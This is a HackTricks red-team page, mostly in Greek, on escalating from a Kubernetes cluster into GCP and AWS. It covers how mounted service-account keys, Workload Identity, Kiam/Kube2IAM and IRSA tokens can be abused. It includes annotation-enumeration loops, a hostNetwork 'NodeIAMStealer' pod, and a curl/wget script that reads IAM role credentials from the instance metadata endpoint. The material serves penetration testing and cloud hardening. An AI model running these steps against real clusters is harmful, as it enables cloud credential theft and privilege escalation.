Kubernetes Pivoting to Clouds

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

GCP

Αν τρέχετε ένα k8s cluster μέσα στο GCP, πιθανότατα θα θέλετε κάποια εφαρμογή που τρέχει μέσα στο cluster να έχει πρόσβαση στο GCP. Υπάρχουν 2 κοινές μέθοδοι για να το κάνετε αυτό:

Mounting GCP-SA keys as secret

Μια κοινή μέθοδος για να δώσετε πρόσβαση σε μια εφαρμογή kubernetes στο GCP είναι να:

• Δημιουργήσετε έναν GCP Service Account

• Δεσμεύσετε τις επιθυμητές άδειες σε αυτόν

• Κατεβάσετε ένα json key του δημιουργηθέντος SA

• Τοποθετήσετε το ως μυστικό μέσα στο pod

• Ορίσετε τη μεταβλητή περιβάλλοντος GOOGLE_APPLICATION_CREDENTIALS που δείχνει στο μονοπάτι όπου βρίσκεται το json.

Επομένως, ως επιτιθέμενος, αν παραβιάσετε ένα κοντέινερ μέσα σε ένα pod, θα πρέπει να ελέγξετε για αυτή τη μεταβλητή env και τα json αρχεία με τα διαπιστευτήρια GCP.

Relating GSA json to KSA secret

Μια μέθοδος για να δώσετε πρόσβαση σε έναν GSA σε ένα GKE cluster είναι να τους δεσμεύσετε με αυτόν τον τρόπο:

• Δημιουργήστε έναν λογαριασμό υπηρεσίας Kubernetes στην ίδια περιοχή με το GKE cluster σας χρησιμοποιώντας την παρακάτω εντολή:

Copy codekubectl create serviceaccount <service-account-name>

• Δημιουργήστε ένα Kubernetes Secret που περιέχει τα διαπιστευτήρια του λογαριασμού υπηρεσίας GCP στον οποίο θέλετε να παραχωρήσετε πρόσβαση στο GKE cluster. Μπορείτε να το κάνετε αυτό χρησιμοποιώντας το εργαλείο γραμμής εντολών gcloud, όπως φαίνεται στο παρακάτω παράδειγμα:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

• Δέστε το Kubernetes Secret στον λογαριασμό υπηρεσίας Kubernetes χρησιμοποιώντας την παρακάτω εντολή:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Στο δεύτερο βήμα ορίστηκαν τα διαπιστευτήρια του GSA ως μυστικό του KSA. Έτσι, αν μπορείτε να διαβάσετε αυτό το μυστικό από μέσα στο GKE cluster, μπορείτε να κλιμακώσετε σε αυτόν τον λογαριασμό υπηρεσίας GCP.

GKE Workload Identity

Με το Workload Identity, μπορούμε να διαμορφώσουμε έναν Kubernetes service account να λειτουργεί ως Google service account. Τα Pods που εκτελούνται με τον Kubernetes service account θα αυθεντικοποιούνται αυτόματα ως ο Google service account όταν έχουν πρόσβαση σε Google Cloud APIs.

Η πρώτη σειρά βημάτων για να ενεργοποιηθεί αυτή η συμπεριφορά είναι να ενεργοποιήσετε το Workload Identity στο GCP (βήματα) και να δημιουργήσετε τον GCP SA που θέλετε να προσποιείται το k8s.

• Ενεργοποιήστε το Workload Identity σε ένα νέο cluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

• Δημιουργία/Ενημέρωση ενός νέου nodepool (Τα Autopilot clusters δεν χρειάζονται αυτό)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

• Δημιουργήστε τον Λογαριασμό Υπηρεσίας GCP για προσποίηση από το K8s με δικαιώματα GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

• Συνδεθείτε με το cluster και δημιουργήστε τον λογαριασμό υπηρεσίας για χρήση

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

• Σύνδεση του GSA με το KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=[e-mail]

• Εκτελέστε ένα pod με το KSA και ελέγξτε την πρόσβαση στο GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Ελέγξτε την παρακάτω εντολή για αυθεντικοποίηση σε περίπτωση που χρειαστεί:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Ως επιτιθέμενος μέσα στο K8s θα πρέπει να αναζητήσετε SAs με την iam.gke.io/gcp-service-account annotation καθώς αυτό υποδηλώνει ότι ο SA μπορεί να έχει πρόσβαση σε κάτι στο GCP. Μια άλλη επιλογή θα ήταν να προσπαθήσετε να εκμεταλλευτείτε κάθε KSA στο cluster και να ελέγξετε αν έχει πρόσβαση. Από το GCP είναι πάντα ενδιαφέρον να απαριθμήσετε τους δεσμούς και να γνωρίζετε ποια πρόσβαση δίνετε σε SAs μέσα στο Kubernetes.

This is a script to easily iterate over the all the pods definitions looking for that annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM ρόλος για Pods)

Μια (παρωχημένη) μέθοδος για να δώσετε IAM Ρόλους σε Pods είναι να χρησιμοποιήσετε έναν Kiam ή έναν Kube2IAM διακομιστή. Βασικά, θα χρειαστεί να εκτελέσετε ένα daemonset στο cluster σας με έναν τύπο προνομιακού IAM ρόλου. Αυτό το daemonset θα είναι αυτό που θα δώσει πρόσβαση σε IAM ρόλους στα pods που το χρειάζονται.

Πρώτα απ' όλα, πρέπει να ρυθμίσετε ποιοι ρόλοι μπορούν να προσπελαστούν μέσα στο namespace, και το κάνετε αυτό με μια αναφορά μέσα στο αντικείμενο namespace:

Kiam

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

Kube2iam

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Μόλις το namespace είναι ρυθμισμένο με τους ρόλους IAM που μπορούν να έχουν τα Pods, μπορείτε να υποδείξετε τον ρόλο που θέλετε σε κάθε ορισμό pod με κάτι σαν:

Kiam & Kube2iam

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Ως επιτιθέμενος, αν βρείτε αυτές τις αναφορές σε pods ή namespaces ή έναν server kiam/kube2iam που τρέχει (πιθανώς στο kube-system) μπορείτε να παριστάνετε κάθε ρόλο που ήδη χρησιμοποιείται από pods και περισσότερα (αν έχετε πρόσβαση στον λογαριασμό AWS, καταγράψτε τους ρόλους).

Δημιουργία Pod με IAM Ρόλο

Ο IAM ρόλος που πρέπει να υποδειχθεί πρέπει να είναι στον ίδιο λογαριασμό AWS με τον ρόλο kiam/kube2iam και αυτός ο ρόλος πρέπει να μπορεί να έχει πρόσβαση σε αυτόν.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Αυτή είναι η συνιστώμενη μέθοδος από την AWS.

1. Πρώτα απ' όλα, πρέπει να δημιουργήσετε έναν πάροχο OIDC για το cluster.

2. Στη συνέχεια, δημιουργείτε έναν IAM ρόλο με τις άδειες που θα απαιτεί η SA.

3. Δημιουργήστε μια σχέση εμπιστοσύνης μεταξύ του IAM ρόλου και της SA ονόματος (ή των namespaces που δίνουν πρόσβαση στον ρόλο σε όλες τις SAs του namespace). Η σχέση εμπιστοσύνης θα ελέγξει κυρίως το όνομα του παρόχου OIDC, το όνομα του namespace και το όνομα της SA.

4. Τέλος, δημιουργήστε μια SA με μια σημείωση που υποδεικνύει το ARN του ρόλου, και τα pods που εκτελούνται με αυτή τη SA θα έχουν πρόσβαση στο token του ρόλου. Το token είναι γραμμένο μέσα σε ένα αρχείο και η διαδρομή καθορίζεται στο AWS_WEB_IDENTITY_TOKEN_FILE (προεπιλογή: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Για να πάρετε το aws χρησιμοποιώντας το token από το /var/run/secrets/eks.amazonaws.com/serviceaccount/token, εκτελέστε:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Ως επιτιθέμενος, αν μπορείτε να καταγράψετε ένα K8s cluster, ελέγξτε για λογαριασμούς υπηρεσιών με αυτή την αναφορά για να κλιμακώσετε σε AWS. Για να το κάνετε αυτό, απλά exec/create ένα pod χρησιμοποιώντας έναν από τους IAM προνομιακούς λογαριασμούς υπηρεσιών και κλέψτε το token.

Επιπλέον, αν βρίσκεστε μέσα σε ένα pod, ελέγξτε για μεταβλητές περιβάλλοντος όπως AWS_ROLE_ARN και AWS_WEB_IDENTITY_TOKEN.

Μερικές φορές η πολιτική εμπιστοσύνης ενός ρόλου μπορεί να είναι κακώς διαμορφωμένη και αντί να δίνει πρόσβαση AssumeRole στον αναμενόμενο λογαριασμό υπηρεσίας, την δίνει σε όλους τους λογαριασμούς υπηρεσιών. Επομένως, αν μπορείτε να γράψετε μια αναφορά σε έναν ελεγχόμενο λογαριασμό υπηρεσίας, μπορείτε να αποκτήσετε πρόσβαση στον ρόλο.

Ελέγξτε την παρακάτω σελίδα για περισσότερες πληροφορίες:

AWS - Federation Abuse

Βρείτε Pods και SAs με IAM Ρόλους στο Cluster

Αυτό είναι ένα σενάριο για να επικοινωνήσετε εύκολα με όλα τα pods και τις ορισμούς sas αναζητώντας αυτή την αναφορά:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

Η προηγούμενη ενότητα αφορούσε το πώς να κλέψετε IAM Roles με pods, αλλά σημειώστε ότι ένα Node του K8s cluster θα είναι μια περίπτωση μέσα στο cloud. Αυτό σημαίνει ότι το Node είναι πολύ πιθανό να έχει έναν νέο IAM ρόλο που μπορείτε να κλέψετε (σημειώστε ότι συνήθως όλα τα nodes ενός K8s cluster θα έχουν τον ίδιο IAM ρόλο, οπότε μπορεί να μην αξίζει να προσπαθήσετε να ελέγξετε κάθε node).

Υπάρχει ωστόσο μια σημαντική απαίτηση για να αποκτήσετε πρόσβαση στο metadata endpoint από το node, πρέπει να είστε στο node (ssh session;) ή τουλάχιστον να έχετε το ίδιο δίκτυο:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Κλέψε το IAM Role Token

Προηγουμένως έχουμε συζητήσει πώς να συνδέσουμε IAM Roles σε Pods ή ακόμα και πώς να διαφύγουμε στον Node για να κλέψουμε το IAM Role που έχει συνημμένο η παρουσία.

Μπορείτε να χρησιμοποιήσετε το παρακάτω σενάριο για να κλέψετε τα νέα σκληρά κερδισμένα διαπιστευτήρια IAM role σας:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Αναφορές

• https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity

• https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c

• https://blogs.halodoc.io/iam-roles-for-service-accounts-2/

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.